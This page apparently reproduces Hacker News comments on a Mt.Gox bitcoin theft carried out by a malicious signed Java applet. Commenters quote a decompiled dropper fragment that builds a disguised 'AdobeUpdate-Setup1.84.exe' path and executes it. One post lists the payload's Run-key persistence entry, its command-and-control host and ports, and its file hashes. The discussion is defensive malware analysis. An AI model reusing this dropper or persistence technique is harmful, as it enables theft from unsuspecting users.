Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

How I got robbed of 34 btc on Mt.Gox today

bitcointalk.org

Post reply on HN
Print view View original

61–70 of 251 posts

Re: How I got robbed of 34 btc on Mt.Gox today

#61

Post by TazeTSchnitzel »

obilgic wrote: post #59
teraflop wrote: post #49

Earlier quoted context omitted.

Since I don't have an mtgox account, and I have a fair degree of confidence that the code posted can't possibly escape the Java sandbox, I decided to live dangerously and try loading the page. Here's the warning screen that comes up when you load it: http://i.imgur.com/sXDoFLt.png Note the self-signed certificate from "North Sumatra". Gotta say, I have no sympathy for someone who clicks through that warning screen an…

Ops :/ today I just clicked through that screen to run the bitcoin miner i downloaded from bitminter.com. Because I did not realize that, this is a warning from java, really confusing.

Well, you had downloaded an application and you were fairly sure of its purpose, I can't blame you there.

Re: How I got robbed of 34 btc on Mt.Gox today

#63

Post by tripzilch »

jotaass wrote: post #37
tripzilch wrote: post #15

> I then discovered that the site is loaded with a java script which, based on an initial analysis by my java programmer friend, is a 0 day java exploit with a cross site injection attack, which automatically started "Being a techie", I like to confuse Java and Javascript ...

Well, he did put a space there. I'd give him a pass.

I would have, but then the term "cross site injection attack", is again Javascript terminology (he probably meant XSS or CRSF, but the term "cross site" doesn't really apply to Java applets).

However, the guy just got hacked out of about $8k worth of BC, which sucks, and for that I do give him a pass :)

Re: How I got robbed of 34 btc on Mt.Gox today

#64

Post by arethuza »

Tomdarkness wrote: post #43
arethuza wrote: post #32

Earlier quoted context omitted.

It's a long time since I went anywhere near Java (let alone an applet) - but these lines don't look very nice: String str2 = System.getenv("APPDATA"); String str5 = str2 + "\\"; String str6 = "AdobeUpdate-Setup1.84##e"; String str9 = str5.concat(str6.replace("##", ".ex")); Runtime.getRuntime().exec(str9);

From a quick glance it would appear it tries to execute: C:\Users\ \AppData\Roaming\AdobeUpdate-Setup1.84.exe Just appears to be a rudimentary attempt at obfuscating the executable path. The question is, how come the JVM is allowing Runtime.getRuntime().exec() to be called.

An evil wee signed applet.

Re: How I got robbed of 34 btc on Mt.Gox today

#65

Post by DanBC »

axefrog wrote: post #35

MtGox really does run a subpar operation. There should be additional security checks when transferring money out of an account, and there should be the option to enable multifactor authentication. Back when they were originally hacked, this should have become top priority for them, along with making their service rock solid. If people are hacking and stealing from you, it's obvious you have something of value and nee…

This wasn't someone hacking MtGox.

This was someone on a vulnerable OS, running without malware protection, with Java active in the browser, visiting an unknown link, and possibly giving an application permission to run. (Although maybe it didn't need permission to run?)

To get to that point the person needed to ignore several well established security principles.

Re: How I got robbed of 34 btc on Mt.Gox today

#66

Post by amanvir_sangha »

Some basic analysis of the binary:

Creates the following directories:

    %UserProfile%\537214
    %UserProfile%\684544
    %AppData%\dclogs
Creates a new registry value (so that it runs every time on startup)

    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
    537214 = "%UserProfile%\537214\svhost.exe"
Tries to connect to:

    tamere123.no-ip.org on ports 80 and 1604
The subdomain above leads to the following IP:

    198.203.29.120
Which, according to iplocation.net is located in:

    Los Angeles
    California
    ISP: Hugeserver Networks Llc
It's very unusual for malware to be hosted in USA so I would assume that either it is a compromised computer/bot or it is some script kiddie using his home connection, the latter is more likely since there were no exploits used just social engineering and luck.

File hashes:

    MD5: 0x81F8E4C33ADECE6BF89EF171D9930282
    SHA-1: 0xF540BA6C5F1C2AA50B81A440E7D74F8CF588B4D7

Re: How I got robbed of 34 btc on Mt.Gox today

#67

Post by ConceitedCode »

tripzilch wrote: post #54

So, how about if you could have a Linux boot image onna stick, properly secured, no Java, several BitCoin apps preinstalled and optimized to boot extremely quickly into what would basically be a sort of BitCoin Wallet dashboard interface. You could plug in the USB, hibernate, flip the switch and be Bitcoin banking within seconds. Then unhibernate and get on with whatever you were doing on your day-to-day OS. That way…

The biggest issue I see would be updating the block chain for the wallet between uses. Seems like it takes longer and longer to update. Moved my wallet to a new computer last night and it's been going for the last 5 hours.

Re: How I got robbed of 34 btc on Mt.Gox today

#68

Post by wting »

Tomdarkness wrote: post #18

I've not used Mt.Gox but does it let you perform transactions without authenticating again? Even if you were logged in to your account, I'd expect any kind of financial related website to perform some kind of re-authentication before processing any transaction. Perhaps with the exception of transferring funds to somewhere you've sent funds in the past.

You have the option of enabling two-factor authentication for various actions:

http://i.imgur.com/5I31WcX.png

Re: How I got robbed of 34 btc on Mt.Gox today

#69

Post by andy_boot »

arethuza wrote: post #32
Tomdarkness wrote: post #22

Earlier quoted context omitted.

Just appears to be an applet that downloads the actual payload . Although, I'm not a security expert and I can't see where the actual exploit is that would allow the file to be downloaded and executed.

It's a long time since I went anywhere near Java (let alone an applet) - but these lines don't look very nice: String str2 = System.getenv("APPDATA"); String str5 = str2 + "\\"; String str6 = "AdobeUpdate-Setup1.84##e"; String str9 = str5.concat(str6.replace("##", ".ex")); Runtime.getRuntime().exec(str9);

I think thats done to fool AV software. - AV software will probably flag up any string which equals "AdobeUpdate-Setup1.exe"

Re: How I got robbed of 34 btc on Mt.Gox today

#70

Post by willvarfar »

bonzoesc wrote: post #55
willvarfar wrote: post #47

Is there a way that MtCox or somewhere could keep a blacklist of 'stolen' coins? So that they become worthless because nobody would be able to trade them?

Without making that database universal it just means some poor merchant that accepts bit coins is going to get stiffed.

but it'd be viral so be universal. Merchents and absolutely everyone would all quickly start checking just to ensure they don't get coins they can't trade, making it effectively universal.

Which means it comes down to convincing the gatekeeper that you were burgled. But that's a human level problem.

Post reply on HN